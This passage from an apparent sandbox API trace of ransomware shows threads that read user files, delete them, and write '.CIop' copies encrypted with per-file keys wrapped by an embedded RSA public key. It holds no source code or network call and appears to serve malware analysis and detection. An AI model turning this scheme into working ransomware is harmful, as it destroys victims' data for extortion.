pdwDataLen=0x31ae5ec | out: pbData=0x2ec0000*, pdwDataLen=0x31ae5ec*=0x94) returned 1 [0100.492] CryptDestroyKey (hKey=0x648a78) returned 1 [0100.492] CryptReleaseContext (hProv=0x2f03b60, dwFlags=0x0) returned 1 [0100.492] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\50YQIo4i.jpg.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\j7dcvsjumb\\50yqio4i.jpg.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5b8 [0100.492] WriteFile (in: hFile=0x5b8, lpBuffer=0x685cd0*, nNumberOfBytesToWrite=0x7d74, lpNumberOfBytesWritten=0x31ae5d8, lpOverlapped=0x0 | out: lpBuffer=0x685cd0*, lpNumberOfBytesWritten=0x31ae5d8*=0x7d74, lpOverlapped=0x0) returned 1 [0100.493] SetFilePointer (in: hFile=0x5b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x7d74 [0100.493] WriteFile (in: hFile=0x5b8, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x31ae5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x31ae5d8*=0x7, lpOverlapped=0x0) returned 1 [0100.494] SetFilePointer (in: hFile=0x5b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x7d7b [0100.494] SetErrorMode (uMode=0x1) returned 0x1 [0100.494] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0100.494] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x31ad5b8, pcbBinary=0x31ad5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x31ad5b8, pcbBinary=0x31ad5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0100.494] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x31ad5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x31ad5a0, pcbStructInfo=0x31ad598 | out: pvStructInfo=0x31ad5a0, pcbStructInfo=0x31ad598) returned 1 [0100.494] CryptAcquireContextW (in: phProv=0x31ad5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31ad5a8*=0x2f03e08) returned 1 [0100.520] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f03e08, dwCertEncodingType=0x1, pInfo=0x64a680, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x31ad5b0 | out: phKey=0x31ad5b0*=0x648a78) returned 1 [0100.520] CryptEncrypt (in: hKey=0x648a78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x31ad5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x31ad5b4*=0x80) returned 1 [0100.520] CryptEncrypt (in: hKey=0x648a78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f03b60*, pdwDataLen=0x31ad5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f03b60*, pdwDataLen=0x31ad5a4*=0x80) returned 1 [0100.521] WriteFile (in: hFile=0x5b8, lpBuffer=0x2f03b60*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x31ae5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f03b60*, lpNumberOfBytesWritten=0x31ae5d8*=0x80, lpOverlapped=0x0) returned 1 [0100.521] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.521] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.521] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.522] CloseHandle (hObject=0x5b8) returned 1 [0100.523] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\50YQIo4i.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\j7dcvsjumb\\50yqio4i.jpg")) returned 0 Thread: id = 165 os_tid = 0xd14 [0100.524] lstrcpyA (in: lpString1=0x32ae5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0100.524] lstrcpyW (in: lpString1=0x32af368, lpString2="ROHZJx8ipU.mp3" | out: lpString1="ROHZJx8ipU.mp3") returned="ROHZJx8ipU.mp3" [0100.524] lstrcpyW (in: lpString1=0x32af768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0100.524] SetErrorMode (uMode=0x1) returned 0x1 [0100.524] wsprintfW (in: param_1=0x32aeb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ROHZJx8ipU.mp3") returned 44 [0100.524] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ROHZJx8ipU.mp3", dwFileAttributes=0x20) returned 1 [0100.524] StrStrW (lpFirst="ROHZJx8ipU.mp3", lpSrch=".CIop") returned 0x0 [0100.524] wsprintfW (in: param_1=0x32ae758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ROHZJx8ipU.mp3.CIop") returned 49 [0100.524] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ROHZJx8ipU.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\rohzjx8ipu.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5b0 [0100.525] ReadFile (in: hFile=0x5b0, lpBuffer=0x2f04f88, nNumberOfBytesToRead=0x17267, lpNumberOfBytesRead=0x32ae5e8, lpOverlapped=0x0 | out: lpBuffer=0x2f04f88*, lpNumberOfBytesRead=0x32ae5e8*=0x17267, lpOverlapped=0x0) returned 1 [0100.526] CloseHandle (hObject=0x5b0) returned 1 [0100.526] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ROHZJx8ipU.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\rohzjx8ipu.mp3")) returned 1 [0100.537] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0100.537] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0100.537] SetErrorMode (uMode=0x1) returned 0x1 [0100.537] CryptAcquireContextW (in: phProv=0x32ae5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x32ae5b8*=0x2f03c70) returned 1 [0100.547] CryptGenKey (in: hProv=0x2f03c70, Algid=0x1, dwFlags=0x4000, phKey=0x32ae5bc | out: phKey=0x32ae5bc*=0x648af8) returned 1 [0100.627] CryptExportKey (in: hKey=0x648af8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x32ae5ec | out: pbData=0x0*, pdwDataLen=0x32ae5ec*=0x94) returned 1 [0100.627] CryptExportKey (in: hKey=0x648af8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x32ae5ec | out: pbData=0x2ec0000*, pdwDataLen=0x32ae5ec*=0x94) returned 1 [0100.627] CryptDestroyKey (hKey=0x648af8) returned 1 [0100.627] CryptReleaseContext (hProv=0x2f03c70, dwFlags=0x0) returned 1 [0100.627] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ROHZJx8ipU.mp3.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\rohzjx8ipu.mp3.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0100.628] WriteFile (in: hFile=0x5c8, lpBuffer=0x2f04f88*, nNumberOfBytesToWrite=0x17267, lpNumberOfBytesWritten=0x32ae5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f04f88*, lpNumberOfBytesWritten=0x32ae5d8*=0x17267, lpOverlapped=0x0) returned 1 [0100.629] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x17267 [0100.629] WriteFile (in: hFile=0x5c8, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x32ae5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x32ae5d8*=0x7, lpOverlapped=0x0) returned 1 [0100.629] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1726e [0100.629] SetErrorMode (uMode=0x1) returned 0x1 [0100.630] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0100.630] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x32ad5b8, pcbBinary=0x32ad5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x32ad5b8, pcbBinary=0x32ad5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0100.630] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x32ad5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x32ad5a0, pcbStructInfo=0x32ad598 | out: pvStructInfo=0x32ad5a0, pcbStructInfo=0x32ad598) returned 1 [0100.630] CryptAcquireContextW (in: phProv=0x32ad5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x32ad5a8*=0x2f04028) returned 1 [0100.632] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f04028, dwCertEncodingType=0x1, pInfo=0x64ab60, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x32ad5b0 | out: phKey=0x32ad5b0*=0x648af8) returned 1 [0100.632] CryptEncrypt (in: hKey=0x648af8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x32ad5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x32ad5b4*=0x80) returned 1 [0100.632] CryptEncrypt (in: hKey=0x648af8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f03038*, pdwDataLen=0x32ad5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f03038*, pdwDataLen=0x32ad5a4*=0x80) returned 1 [0100.633] WriteFile (in: hFile=0x5c8, lpBuffer=0x2f03038*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x32ae5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f03038*, lpNumberOfBytesWritten=0x32ae5d8*=0x80, lpOverlapped=0x0) returned 1 [0100.633] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.633] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.633] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.634] CloseHandle (hObject=0x5c8) returned 1 [0100.635] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ROHZJx8ipU.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\rohzjx8ipu.mp3")) returned 0 Thread: id = 166 os_tid = 0xd20 [0100.616] lstrcpyA (in: lpString1=0x316e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0100.616] lstrcpyW (in: lpString1=0x316f368, lpString2="6ORqLC9av8hKhylQ04z2.png" | out: lpString1="6ORqLC9av8hKhylQ04z2.png") returned="6ORqLC9av8hKhylQ04z2.png" [0100.616] lstrcpyW (in: lpString1=0x316f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" [0100.616] SetErrorMode (uMode=0x1) returned 0x1 [0100.616] wsprintfW (in: param_1=0x316eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\6ORqLC9av8hKhylQ04z2.png") returned 127 [0100.616] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\6ORqLC9av8hKhylQ04z2.png", dwFileAttributes=0x20) returned 1 [0100.616] StrStrW (lpFirst="6ORqLC9av8hKhylQ04z2.png", lpSrch=".CIop") returned 0x0 [0100.616] wsprintfW (in: param_1=0x316e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\6ORqLC9av8hKhylQ04z2.png.CIop") returned 132 [0100.617] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\6ORqLC9av8hKhylQ04z2.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\j7dcvsjumb\\6orqlc9av8hkhylq04z2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5a4 [0100.617] ReadFile (in: hFile=0x5a4, lpBuffer=0x2ef0048, nNumberOfBytesToRead=0xf02b, lpNumberOfBytesRead=0x316e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2ef0048*, lpNumberOfBytesRead=0x316e5e8*=0xf02b, lpOverlapped=0x0) returned 1 [0100.618] CloseHandle (hObject=0x5a4) returned 1 [0100.618] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\6ORqLC9av8hKhylQ04z2.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\j7dcvsjumb\\6orqlc9av8hkhylq04z2.png")) returned 1 [0100.644] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0100.644] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0100.645] SetErrorMode (uMode=0x1) returned 0x1 [0100.645] CryptAcquireContextW (in: phProv=0x316e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x316e5b8*=0x2f03368) returned 1 [0100.656] CryptGenKey (in: hProv=0x2f03368, Algid=0x1, dwFlags=0x4000, phKey=0x316e5bc | out: phKey=0x316e5bc*=0x648c78) returned 1 [0100.764] CryptExportKey (in: hKey=0x648c78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x316e5ec | out: pbData=0x0*, pdwDataLen=0x316e5ec*=0x94) returned 1 [0100.764] CryptExportKey (in: hKey=0x648c78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x316e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x316e5ec*=0x94) returned 1 [0100.764] CryptDestroyKey (hKey=0x648c78) returned 1 [0100.764] CryptReleaseContext (hProv=0x2f03368, dwFlags=0x0) returned 1 [0100.764] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\6ORqLC9av8hKhylQ04z2.png.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\j7dcvsjumb\\6orqlc9av8hkhylq04z2.png.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5d4 [0100.765] WriteFile (in: hFile=0x5d4, lpBuffer=0x2ef0048*, nNumberOfBytesToWrite=0xf02b, lpNumberOfBytesWritten=0x316e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2ef0048*, lpNumberOfBytesWritten=0x316e5d8*=0xf02b, lpOverlapped=0x0) returned 1 [0100.766] SetFilePointer (in: hFile=0x5d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xf02b [0100.766] WriteFile (in: hFile=0x5d4, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x316e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x316e5d8*=0x7, lpOverlapped=0x0) returned 1 [0100.766] SetFilePointer (in: hFile=0x5d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xf032 [0100.766] SetErrorMode (uMode=0x1) returned 0x1 [0100.766] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0100.766] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x316d5b8, pcbBinary=0x316d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x316d5b8, pcbBinary=0x316d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0100.766] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x316d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x316d5a0, pcbStructInfo=0x316d598 | out: pvStructInfo=0x316d5a0, pcbStructInfo=0x316d598) returned 1 [0100.766] CryptAcquireContextW (in: phProv=0x316d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x316d5a8*=0x2f030c0) returned 1 [0100.769] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f030c0, dwCertEncodingType=0x1, pInfo=0x64a9c0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x316d5b0 | out: phKey=0x316d5b0*=0x648bf8) returned 1 [0100.769] CryptEncrypt (in: hKey=0x648bf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x316d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x316d5b4*=0x80) returned 1 [0100.769] CryptEncrypt (in: hKey=0x648bf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f031d0*, pdwDataLen=0x316d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f031d0*, pdwDataLen=0x316d5a4*=0x80) returned 1 [0100.769] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f031d0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x316e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f031d0*, lpNumberOfBytesWritten=0x316e5d8*=0x80, lpOverlapped=0x0) returned 1 [0100.769] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.770] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.770] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.770] CloseHandle (hObject=0x5d4) returned 1 [0100.771] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\6ORqLC9av8hKhylQ04z2.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\j7dcvsjumb\\6orqlc9av8hkhylq04z2.png")) returned 0 Thread: id = 167 os_tid = 0xd30 [0100.685] lstrcpyA (in: lpString1=0x347e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- 